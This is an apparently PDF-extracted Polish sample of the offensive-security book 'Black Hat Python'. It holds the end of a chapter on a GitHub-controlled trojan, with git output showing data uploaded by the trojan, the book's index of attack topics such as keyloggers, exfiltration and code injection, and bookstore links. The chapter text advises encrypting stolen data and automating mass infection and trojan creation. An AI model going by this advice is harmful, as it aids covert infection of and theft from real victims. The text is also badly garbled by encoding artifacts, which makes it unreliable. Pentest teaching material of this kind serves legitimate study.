repozytorium, pobra(cid:239) plik konfigura- cyjny oraz pobra(cid:239) dwa modu(cid:239)y ustawione w tym pliku i uruchomi(cid:239) je. Teraz wró(cid:202) do wiersza polece(cid:241) i wykonaj poni(cid:285)sze polecenie: $ git pull origin master From https://github.com/blackhatpythonbook/chapter7 * branch master - FETCH_HEAD Updating f4d9c1d..5225fdf Fast-forward data/abc/29008.data | 1 + data/abc/44763.data | 1 + 2 files changed, 2 insertions(+), 0 deletions(-) create mode 100644 data/abc/29008.data create mode 100644 data/abc/44763.data Znakomicie! Trojan przes(cid:239)a(cid:239) wyniki zwrócone przez nasze dwa modu(cid:239)y. Centrum dowodzenia GitHub 127 Poleć książkęKup książkę Opisane rozwi(cid:200)zanie mo(cid:285)na rozszerzy(cid:202) i udoskonali(cid:202) na wiele sposobów. Na dobry pocz(cid:200)tek warto zastosowa(cid:202) szyfrowanie wszystkich modu(cid:239)ów, danych konfiguracyjnych i wykradzionych informacji. Je(cid:258)li zamierzasz dokonywa(cid:202) in- fekcji na masow(cid:200) skal(cid:218), musisz zautomatyzowa(cid:202) zarz(cid:200)dzanie pobieraniem da- nych, aktualizowanie plików konfiguracyjnych oraz tworzenie nowych trojanów. Przy dodawaniu kolejnych sk(cid:239)adników funkcjonalno(cid:258)ci trzeba te(cid:285) rozszerzy(cid:202) mechanizm (cid:239)adowania dynamicznych i skompilowanych bibliotek Pythona. Teraz utworzymy kilka samodzielnych zada(cid:241) trojana. Jako prac(cid:218) domow(cid:200) pozostawiam ich integracj(cid:218) z trojanem w GitHub. 128 R o z d z i a (cid:239) 7 Poleć książkęKup książkę A adres IP, 57 algorytm base64, 135 analizowanie aplikacji, 85 aplikacje sieciowe, 81 typu open source, 83 atak typu ARP cache poisoning, 71 MitB, 142 MITM, 68 ataki si(cid:239)owe, 89 automatyzacja wykrywania ataków, 169 B biblioteka ctypes, 160 OpenCV, 80 PyCrypto, 148 PyHook, 130 PyWin32, 156 Scapy, 64, 67 subprocess, 35 urllib2, 82, 134 biblioteki gniazd, 82 blog Tumblr, 148 botnet, 124 budowa nag(cid:239)ówka IP, 57 netcata, 31 trojana, 123 Burp, 95 fuzzing, 96 interfejs u(cid:285)ytkownika, 97 Skorowidz karta Extender, 104, 116 karta Intruder, 105 karta Payloads, 105 konfiguracja, 96 opcje (cid:239)adowania rozszerzenia, 103 przeszukiwanie hosta, 117 Repeater, 97 C captcha, 89 D datagramy UDP, 64 debugowanie, 22 dekodowanie danych ICMP, 61 pakietów ICMP, 61 warstwy IP, 57 dekorowanie hase(cid:239), 115 dzia(cid:239)anie trojana, 127 e-mail, 68 E F filtrowanie pakietów, 68 formularze uwierzytelniania, 89 funkcja bing_menu, 109 bing_search, 109 connect_to_github, 125 convert_integer, 24 createMenuItem, 108 CreateProcess, 157 dir_bruter, 88 encrypt_post, 148 exfiltrate, 151 extract_image, 79 find_module, 126 get_http_headers, 79 get_mac, 73 get_words, 115 GetForeGroundWindow, 131 GetTickCount, 137 GetWindowDC, 134 handle_data, 114 inject_code, 167 login_to_tumblr, 149 mangle, 116 module_runner, 127 packet.show(), 70 poison_target, 74 populate_offsets, 173 post_to_tumblr, 150 process_watcher, 159 proxy_handler, 40 random_sleep, 149 ReadDirectoryChangesW, 163 receive_from, 42 request_handler, 41 restore_target, 73 run_command, 35, 37 server_loop, 35 show(), 70 sniff, 68 start_monitor, 164 strip, 114 test_remote, 84 Poleć książkęKup książkę funkcja funkcje urlopen, 82 wait_for_browser, 145 fuzzuj(cid:200)ce, 102 netcata, 33 fuzzer aplikacji sieciowych, 97 G GDI, Graphics Device Interface, 133 generowanie kluczy RSA, 151 (cid:239)adunków, 106 GitHub, 119 gniazda, 53, 55 H hakowanie aplikacji sieciowych, 81 funkcji importu, 125 has(cid:239)a, 113 I ICMP, 56 ICMP Destination Unreachable, 61 infekcja ARP, 71 instalowanie Kali Linux, 18 Volatility, 170 WingIDE, 20 interfejs GDI, 133 Internet Explorer, 141 IOCTL, 55 IP, 57 Joomla, 91 J K Kali Linux, 18 klasa Bruter, 94 BurpExtender, 109 FileCookieJar, 92 GitImporter, 126 182 S k o r o w i d z HTMLParser, 89, 93 IBurpExtender, 99 IIntruderPayloadGenerator, 98, 100 Queue, 88 Request, 82 Win32_Process, 159 klasy IIntruderPayloadGenerator (cid:180)Factory, 98 klient SSH, 44 TCP, 28 UDP, 29 klikni(cid:218)cia myszy, 136 klucze RSA, 151 kod asemblera, 179 pow(cid:239)oki, 134, 135 konfiguracja trojana, 122 konto w GitHub, 120 L liczba naci(cid:258)ni(cid:218)(cid:202) klawiszy, 138 lista aplikacji sieciowych, 88 hase(cid:239), 118 s(cid:239)ów, 86, 113 localhost, 43 (cid:146) (cid:239)adowanie rozszerzenia, 103 (cid:239)adunek, 105 M mapowanie aplikacji sieciowych, 83 maszyna wirtualna, 71 menu kontekstowe, 108 metoda si(cid:239)owa, 85 MitB, man in the browser, 142 MITM, man in the middle, 68 model COM, 142 modu(cid:239), 121 netaddr, 62, 65 SimpleHTTPServer, 135 monitor procesów, 157 N naci(cid:258)ni(cid:218)cia klawiszy, 132 nag(cid:239)ówek HTTP User-Agent, 82 IPv4, 57 narz(cid:218)dzia Burp, 95 sieciowe, 28 urllib2, 89 narz(cid:218)dzie Repeater, 97 Netcat, 31 O obiekt gniazda, 55 obiekty pomocnicze przegl(cid:200)darki, 142 obs(cid:239)uga w(cid:200)tków, 35 (cid:285)(cid:200)da(cid:241), 145 odbiornik, listener, 31 ograniczone (cid:258)rodowiska wykonawcze, 136 OWASP, 88 P pakiet, 55 Burp, 96 PyWin32, 133 parametry (cid:239)adunku, 105 Paramiko, 44 parser, 92 pentest, 135 phishing, 137, 155 plik abc.json, 122 arper.pcap, 76 arper.py, 72 bh_sshcmd.py, 44 bh_sshRcmd.py, 45 bh_sshserver.py, 46 bhp_fuzzer.py, 99, 102 bhp_wordlist.py, 113 bhpnet.py, 168 calc.exe, 174 code_inject.py, 176 codecoverage.py, 174 content_bruter.py, 86 cred_server.py, 145 decryptor.py, 152, 153 dirlister.py, 121 Poleć książkęKup książkę file_monitor.py, 163, 165, 167 git_trojan.py, 123 grabhashes.py, 172 ie_exfil.py, 147, 152 joomla_killer.py, 90, 92 keygen.py, 151 keylogger.py, 130 mitb.py, 142 pic_carver.py, 79 process_monitor.py, 158-161 rforward.py, 51 sandbox_detect.py, 136, 138 scanner.py, 62 shell_exec.py, 134 sniffer_ip_header_decode.py, 58 sniffer_with_ismp.py, 61 web_app_mapper.py, 83 proxy TCP, 38 przegl(cid:200)darka Internet Explorer, 141 przekierowanie, 143 przeszukiwanie hosta, 117 przetwarzanie pliku PCAP, 76 punkt wstrzymania, 23 Putty, 44 R rejestrator, 131 rejestrowanie naciskanych klawiszy, 130 repozytorium GitHub, 121 rozszerzanie narz(cid:218)dzi Burp, 95 pliki .vmem, 171 PCAP, 76 VBScript, 166 polecenie sudo, 43 port FireWire, 170 portal GitHub, 119 proces Iexplore.exe, 146 program Burp, 95, 96 cmd.exe, 37 Immunity Debugger, 174, 176, 179 Netcat, 31 Network Miner, 76 Paramiko, 44 Putty, 44 Volatility, 170 WingIDE, 20 Wireshark, 76 rozszerzenia j(cid:218)zyków programowania, 88 rozszerzenie dotycz(cid:200)ce wyszukiwarki, 111 S serwer SSH, 47 TCP, 30 sie(cid:202), 27 skrót has(cid:239)a, 171 skrypt, Patrz plik skrypty wsadowe, 162 s(cid:239)ownik witryn, 143 SSH, 44 stos wywo(cid:239)a(cid:241), 24 struktura ctypes, 59 LASTINPUTINFO, 137 nag(cid:239)ówka IP, 57 szperacze sieciowe, 53 szyfrowanie, 147 (cid:165) (cid:258)rodowisko programistyczne, 20 T TCP, 28 technologia automatyzacyjna COM, 141 testowanie aplikacji sieciowych, 97 token, 90 token Windows, 160 trojan, 122, 129, 168 tropiciele sieciowe, 53 tropienie pakietów, 55 tunel odwrotny, 44 SSH, 51 tunelowanie, 44 odwrotne SSH, 49 SSH, 48 tworzenie fuzzera mutacyjnego, 95 konta GitHub, 120 modu(cid:239)ów, 121 monitora procesów, 157 serwera, 145 serwera TCP, 35 szperacza, 68 U UDP, 29 uprawnienia, 155 uprawnienia tokenów, 160 uwierzytelnianie, 89, 125 V Volatility instalacja, 170 profile, 170 zdobywanie hase(cid:239), 171 W wiadomo(cid:258)ci e-mail, 68 ICMP, 56, 61 WingIDE, 20 karta Debug Probe, 25 karta Stack Data, 23 menu Debug, 22 okno g(cid:239)ówne, 21 wstrzykiwanie bezpo(cid:258)rednie kodu, 174 kodu, 166, 170 wtyczka hashdump, 171 hivelist, 171 wydobywanie skrótów hase(cid:239), 171 wykonywanie kodu pow(cid:239)oki, 134 wykradanie danych, 146 po(cid:258)wiadczaj(cid:200)cych, 68 wykrywanie ataków, 169 hostów, 54 (cid:258)rodowiska ograniczonego, 136 twarzy, 80 wysy(cid:239)anie (cid:285)(cid:200)dania, 37 wyszukiwarka Bing, 107 wy(cid:258)wietlanie hase(cid:239), 115 wywo(cid:239)anie IOCTL, 56 Z, (cid:191) zadania trojanów, 129 zaszyfrowana nazwa pliku, 153 zdarzenia myszy, 136 zdobywanie hase(cid:239), 113, 171 zrzut ekranu, 133 zwi(cid:218)kszanie uprawnie(cid:241), 155 (cid:285)(cid:200)danie GET, 111 POST, 90 S k o r o w i d z 183 Poleć książkęKup książkę (cid:3)(cid:49) (cid:82) (cid:87) (cid:68) (cid:87) (cid:78) (cid:76) Poleć książkęKup książkę
Pobierz darmowy fragment (pdf)

Gdzie kupić całą publikację:

Black Hat Python. Język Python dla hakerów i pentesterów
Autor:

Opinie na temat publikacji:


Inne popularne pozycje z tej kategorii:


Czytaj również:


Prowadzisz stronę lub blog? Wstaw link do fragmentu tej książki i współpracuj z Cyfroteką: